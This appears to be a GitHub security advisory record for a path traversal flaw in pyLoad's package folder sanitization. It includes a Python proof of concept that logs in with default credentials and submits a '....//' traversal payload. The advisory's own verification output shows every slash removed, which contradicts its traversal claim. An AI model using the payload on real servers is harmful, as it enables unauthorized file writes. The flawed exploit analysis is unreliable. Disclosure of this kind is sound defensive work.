{"id":"GHSA-97r3-5w84-r4q8","summary":"PyLoad Vulnerable to Path Traversal via Package Folder Name","details":"Insufficient sanitization of package folder names allows writing files outside the intended download directory.\n\n## Affected Component\n- `src/pyload/core/api/__init__.py`\n- Function: `add_package()`\n\n## Description\nPackage folder names are sanitized using insufficient string replacement:\n\n```python\nfolder = (\n    folder.replace(\"http://\", \"\")\n    .replace(\"https://\", \"\")\n    .replace(\"../\", \"_\")  # Bypassable!\n    .replace(\"..\\\\\", \"_\")\n    .replace(\":\", \"\")\n    .replace(\"/\", \"_\")\n    .replace(\"\\\\\", \"_\")\n)\n```\n\nThe `../` replacement is bypassable. The pattern `....//` becomes `.._` after replacement (partial removal), leaving `..` which can be exploited when the path is later resolved by the OS.\n\n## Proof of Concept\n\n### Setup\n```bash\npip install pyload-ng[all]\npyload -d &\n# Default credentials: pyload / pyload\n```\n\n### Exploit\n```python\n#!/usr/bin/env python3\nimport requests\n\nBASE_URL = \"http://localhost:8000\"\nUSERNAME = \"pyload\"\nPASSWORD = \"pyload\"\n\nsession = requests.Session()\n\n# Login\nsession.post(f\"{BASE_URL}/login\", data={\n    \"username\": USERNAME,\n    \"password\": PASSWORD\n})\n\n# Create package with malicious folder name\n# The pattern ....// bypasses the ../ replacement\n# After sanitization: .._ (still contains ..)\nfolder_payload = \"....//....//....//tmp/evil\"\n\nresp = session.post(f\"{BASE_URL}/api/add_package\", json={\n    \"name\": \"test_package\",\n    \"links\": [\"http://example.com/file.txt\"],\n    \"dest\": 1  # Destination.QUEUE\n})\n\npackage_id = resp.json()\nprint(f\"Created package: {package_id}\")\n\n# Set malicious folder name\nresp = session.post(f\"{BASE_URL}/api/set_package_data\", json={\n    \"package_id\": package_id,\n    \"data\": {\"folder\": folder_payload}\n})\n\nprint(f\"Set folder payload: {folder_payload}\")\nprint(f\"Response: {resp.status_code}\")\n\n# When download occurs, files will be written outside download dir\nprint(\"[+] When a file is downloaded, it will be written to manipulated path\")\nprint(\"    The sanitized folder still contains '..' sequences that OS resolves\")\n```\n\n### Verification\nCheck where files would be written:\n```python\nimport os\n\ndownload_dir = \"/home/user/Downloads\"\nfolder = \"....//....//....//tmp/evil\"\n\n# Simulate pyLoad's sanitization\nsanitized = folder.replace(\"../\", \"_\").replace(\"/\", \"_\")\nprint(f\"After pyLoad sanitization: {sanitized}\")\n# Output: .._.._.._tmp_evil\n\n# When pyLoad does os.path.join and then opens the file:\nfinal_path = os.path.join(download_dir, sanitized)\nprint(f\"Joined path: {final_path}\")\n# Output: /home/user/Downloads/.._.._.._tmp_evil\n\n# The .. sequences remain and could be resolved by OS during file operations\n```\n\n## Impact\nAuthenticated users with ADD permission can:\n- Write files outside the download directory\n- Potentially overwrite system files (depending on permissions)\n- Clutter system directories with downloaded content","aliases":["CVE-2026-42314","PYSEC-2026-128"],"modified":"2026-06-08T20:00:11.422870592Z","published":"2026-05-05T21:13:08Z","database_specific":{"nvd_published_at":"2026-05-11T18:16:35Z","cwe_ids":["CWE-22"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-05-05T21:13:08Z"},"references":[{"type":"WEB","url":"https://github.com/pyload/pyload/security/advisories/GHSA-97r3-5w84-r4q8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42314"},{"type":"PACKAGE","url":"https://github.com/pyload/pyload"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2026-128.yaml"}],"affected":[{"package":{"name":"pyload-ng","ecosystem":"PyPI","purl":"pkg:pypi/pyload-ng"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.5.0b3.dev100"}]}],"versions":["0.5.0a5.dev528","0.5.0a5.dev532","0.5.0a5.dev535","0.5.0a5.dev536","0.5.0a5.dev537","0.5.0a5.dev539","0.5.0a5.dev540","0.5.0a5.dev545","0.5.0a5.dev562","0.5.0a5.dev564","0.5.0a5.dev565","0.5.0a6.dev570","0.5.0a6.dev578","0.5.0a6.dev587","0.5.0a7.dev596","0.5.0a8.dev602","0.5.0a9.dev615","0.5.0a9.dev629","0.5.0a9.dev632","0.5.0a9.dev641","0.5.0a9.dev643","0.5.0a9.dev655","0.5.0a9.dev806","0.5.0b1.dev1","0.5.0b1.dev2","0.5.0b1.dev3","0.5.0b1.dev4","0.5.0b1.dev5","0.5.0b2.dev10","0.5.0b2.dev11","0.5.0b2.dev12","0.5.0b2.dev9","0.5.0b3.dev13","0.5.0b3.dev14","0.5.0b3.dev17","0.5.0b3.dev18","0.5.0b3.dev19","0.5.0b3.dev20","0.5.0b3.dev21","0.5.0b3.dev22","0.5.0b3.dev24","0.5.0b3.dev26","0.5.0b3.dev27","0.5.0b3.dev28","0.5.0b3.dev29","0.5.0b3.dev30","0.5.0b3.dev31","0.5.0b3.dev32","0.5.0b3.dev33","0.5.0b3.dev34","0.5.0b3.dev35","0.5.0b3.dev38","0.5.0b3.dev39","0.5.0b3.dev40","0.5.0b3.dev41","0.5.0b3.dev42","0.5.0b3.dev43","0.5.0b3.dev44","0.5.0b3.dev45","0.5.0b3.dev46","0.5.0b3.dev47","0.5.0b3.dev48","0.5.0b3.dev49","0.5.0b3.dev50","0.5.0b3.dev51","0.5.0b3.dev52","0.5.0b3.dev53","0.5.0b3.dev54","0.5.0b3.dev57","0.5.0b3.dev60","0.5.0b3.dev62","0.5.0b3.dev64","0.5.0b3.dev65","0.5.0b3.dev66","0.5.0b3.dev67","0.5.0b3.dev68","0.5.0b3.dev69","0.5.0b3.dev70","0.5.0b3.dev71","0.5.0b3.dev72","0.5.0b3.dev73","0.5.0b3.dev74","0.5.0b3.dev75","0.5.0b3.dev76","0.5.0b3.dev77","0.5.0b3.dev78","0.5.0b3.dev79","0.5.0b3.dev80","0.5.0b3.dev81","0.5.0b3.dev82","0.5.0b3.dev85","0.5.0b3.dev87","0.5.0b3.dev88","0.5.0b3.dev89","0.5.0b3.dev90","0.5.0b3.dev91","0.5.0b3.dev92","0.5.0b3.dev93","0.5.0b3.dev94","0.5.0b3.dev95","0.5.0b3.dev96","0.5.0b3.dev97","0.5.0b3.dev98","0.5.0b3.dev99"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-97r3-5w84-r4q8/GHSA-97r3-5w84-r4q8.json","last_known_affected_version_range":"\u003c= 0.5.0b3.dev79"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N"}]}